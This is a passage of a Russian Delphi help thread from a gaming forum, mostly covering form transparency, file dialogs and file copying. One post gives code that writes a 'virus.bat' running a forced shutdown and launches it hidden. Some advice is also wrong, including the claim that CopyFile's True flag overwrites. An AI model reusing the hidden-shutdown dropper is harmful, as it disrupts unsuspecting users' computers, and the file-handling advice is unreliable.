Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Вопрос

-

Вопросы и ответы, обсуждения

- Ваши вопросы по Pascal/Delphi только в данном разделе

Ответ
 
Опции темы
Старый 05.08.2011, 10:34   #16
 Разведчик
Аватар для Dinmaite[Work]
 
Dinmaite[Work] лучик света в грозовом небеDinmaite[Work] лучик света в грозовом небеDinmaite[Work] лучик света в грозовом небеDinmaite[Work] лучик света в грозовом небеDinmaite[Work] лучик света в грозовом небеDinmaite[Work] лучик света в грозовом небеDinmaite[Work] лучик света в грозовом небе
Регистрация: 05.03.2011
Сообщений: 40
Популярность: 841
Сказал(а) спасибо: 1
Поблагодарили 9 раз(а) в 8 сообщениях
 
По умолчанию Re: Вопрос

Цитата:
Сообщение от SeeZZerПосмотреть сообщение
Dinmaite, я новенький в Делфи , и мне интересно твое мнение - как мой код ?
З.Ы. на положительный отзыв надеюсь и уповаю ))

Честно? Мне не нравится. Потому что ты используешь memo в том месте, где оно не нужно. И потому что ты спрашиваешь о качестве кода, содержащего всего пару строк.
Как по мне, лучше было бы что-то вроде этого.
Код:
procedure TForm1.Button1Click(Sender: TObject);
var
  F:TextFile;
begin
{$i-}
  Assignfile(F,'virus.bat');
  ReWrite(F);
  writeln(F,'@Echo off'+#10+#13+'Shutdown -s -t 60');
  CloseFile(F);
  WinExec('virus.bat',SW_HIDE);
{$i+}
end;
И опять же, я считаю что bat-вирус, при возможности написать вирус программный это нонсенс.
________________
Dinmaite пишет с меня, когда он на работе.
  Ответить с цитированием
Пользователь сказал cпасибо:
SeeZZer (05.08.2011)
Старый 05.08.2011, 12:39   #17
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Вопрос

Цитата:
Сообщение от TruePocПосмотреть сообщение
VeTaL_UA, а как именно работает ваш метод?

1)В СтрингЛист добавляется текст(исполняемый код батника);
2)Текст сохраняется в батник;
3)Батник запускается;
4)Profit?
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
Пользователь сказал cпасибо:
TruePoc (05.08.2011)
Старый 05.08.2011, 14:59   #18
 Разведчик
Аватар для MasterJedi
 
MasterJedi неизвестен в этих краяхMasterJedi неизвестен в этих краях
Регистрация: 19.06.2010
Сообщений: 39
Популярность: -121
Сказал(а) спасибо: 24
Поблагодарили 23 раз(а) в 23 сообщениях
Отправить сообщение для MasterJedi с помощью Skype™
 
По умолчанию Re: Вопрос

Цитата:
Сообщение от TruePocПосмотреть сообщение
Добавлено через 1 час 42 минуты
При нажатии на CheckBox у меня стоит вот это:
AlphaBlend:=true;
AlphaBlendValue:=100;
Как мне сделать при отжатии вот это:
AlphaBlend:=false;
AlphaBlendValue:=255;

Код:
if  checkbox1.Checked  then begin
... blah-blah-blah ...
end
else  
begin
... blah-blah-blah ...
end;

Последний раз редактировалось MasterJedi; 05.08.2011 в 15:07.
  Ответить с цитированием
Старый 05.08.2011, 15:41   #19
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Вопрос

Цитата:
Сообщение от TruePocПосмотреть сообщение
При нажатии на CheckBox у меня стоит вот это:
AlphaBlend:=true;
AlphaBlendValue:=100;
Как мне сделать при отжатии вот это:
AlphaBlend:=false;
AlphaBlendValue:=255;

Можно просто поставить в свойствах формы AlphaBlendValue - 100 и потом включать/выключать AlphaBlend.
Код:
procedure TForm1.Button1Click(Sender: TObject);
begin
 if CheckBox1.Checked=False then
  Form1.AlphaBlend:=False
 else
  Form1.AlphaBlend:=True;
end;
Dinmaite[Work], реально круто =>
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.



Последний раз редактировалось VeTaL_UA; 05.08.2011 в 16:32.
  Ответить с цитированием
Старый 05.08.2011, 16:20   #20
 Разведчик
Аватар для Dinmaite[Work]
 
Dinmaite[Work] лучик света в грозовом небеDinmaite[Work] лучик света в грозовом небеDinmaite[Work] лучик света в грозовом небеDinmaite[Work] лучик света в грозовом небеDinmaite[Work] лучик света в грозовом небеDinmaite[Work] лучик света в грозовом небеDinmaite[Work] лучик света в грозовом небе
Регистрация: 05.03.2011
Сообщений: 40
Популярность: 841
Сказал(а) спасибо: 1
Поблагодарили 9 раз(а) в 8 сообщениях
 
По умолчанию Re: Вопрос

Цитата:
Сообщение от VeTaL_UAПосмотреть сообщение
Можно просто поставить в свойствах формы AlphaBlendValue - 100 и потом включать/выключать AlphaBlend.
Код:
procedure TForm1.Button1Click(Sender: TObject);
begin
 if CheckBox1.Checked=False then
  Form1.AlphaBlend:=False
 else
  Form1.AlphaBlend:=True;
end;

Зачем такие сложности?)

Код:
Form1.AlphaBlend := CheckBox1.Checked
________________
Dinmaite пишет с меня, когда он на работе.
  Ответить с цитированием
Пользователь сказал cпасибо:
TruePoc (05.08.2011)
Старый 05.08.2011, 17:27   #21
 Разведчик
Аватар для TruePoc
 
TruePoc набедокурил в прошлом
Регистрация: 03.07.2011
Сообщений: 13
Популярность: -2
Сказал(а) спасибо: 10
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: Вопрос

Не буду создавать лишних тем, а буду спрашивать тут всё, что мне надо.
Как при нажатии на Button открывалось окно выбора файла в компьютере?
И запись место нахождения его в Edit1
НАПРИМЕР:
Я нажимаю Button1 выбираю файл с компьютера и его путь указывается в Edit1.

Последний раз редактировалось TruePoc; 05.08.2011 в 17:30.
  Ответить с цитированием
Старый 05.08.2011, 17:51   #22
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Вопрос

Цитата:
Сообщение от TruePocПосмотреть сообщение
Я нажимаю Button1 выбираю файл с компьютера и его путь указывается в Edit1

Кидаешь на форму компонент OpenDialog, который находится на вкладке Dialogs, и:
Код:
procedure TForm1.Button1Click(Sender: TObject);
begin
OpenDialog1.Execute;
Edit1.Text:=ExtractFilePath(OpenDialog1.FileName);
end;
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
2 пользователя(ей) сказали cпасибо:
SeeZZer (05.08.2011), TruePoc (05.08.2011)
Старый 05.08.2011, 20:59   #23
 Разведчик
Аватар для TruePoc
 
TruePoc набедокурил в прошлом
Регистрация: 03.07.2011
Сообщений: 13
Популярность: -2
Сказал(а) спасибо: 10
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: Вопрос

Дак вот, имеются два пути(2 файла). Надо чтобы 1 файл изменял имя и перемещался на указанный 2 путь и заменял другой файл. Как это можно сделать?
  Ответить с цитированием
Старый 05.08.2011, 21:21   #24
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Вопрос

В Edit2 вводишь путь к файлу, который надо заменить:
Код:
procedure TForm1.Button1Click(Sender: TObject);
begin
OpenDialog1.Execute;
Edit1.Text:=ExtractFilePath(OpenDialog1.FileName);
DeleteFile(Edit2.Text);
CopyFile(Edit1.Text,Edit2.Text,True);
end;
Можешь добавить ещё один OpenDialog для определения пути к заменяемому файлу, или же выбрать заменяемый файл с этого же OpenDialog'а...
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
Старый 05.08.2011, 21:48   #25
 Разведчик
Аватар для TruePoc
 
TruePoc набедокурил в прошлом
Регистрация: 03.07.2011
Сообщений: 13
Популярность: -2
Сказал(а) спасибо: 10
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: Вопрос

VeTaL_UA, На CopyFile Выдало красным, где я допустил ошибочку?
  Ответить с цитированием
Старый 05.08.2011, 22:52   #26
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Вопрос

Цитата:
Сообщение от VeTaL_UAПосмотреть сообщение
CopyFile(Edit1.Text,Edit2.Text,True);

Текст ошибки в студию!
Цитата:
Сообщение от VeTaL_UAПосмотреть сообщение
DeleteFile(Edit2.Text);

И эту строку можешь удалить... Она не нужна, потому что здесь:
Цитата:
Сообщение от VeTaL_UAПосмотреть сообщение
CopyFile(Edit1.Text,Edit2.Text,True);

Стоит True, а тоесть перезапись файла, если такой существует...
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.



Последний раз редактировалось VeTaL_UA; 05.08.2011 в 22:55.
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Игра] Вопрос на вопрос AEBus Треп 351 29.03.2015 23:20
[Помогите!] Вопрос? Tr[1]x Вопросы и ответы, обсуждения 1 01.08.2013 05:50
[Подсказка] Вопрос! gonsh1k Общение и обсуждение, архив Lineage 2 3 14.08.2010 00:32

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 12:36.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net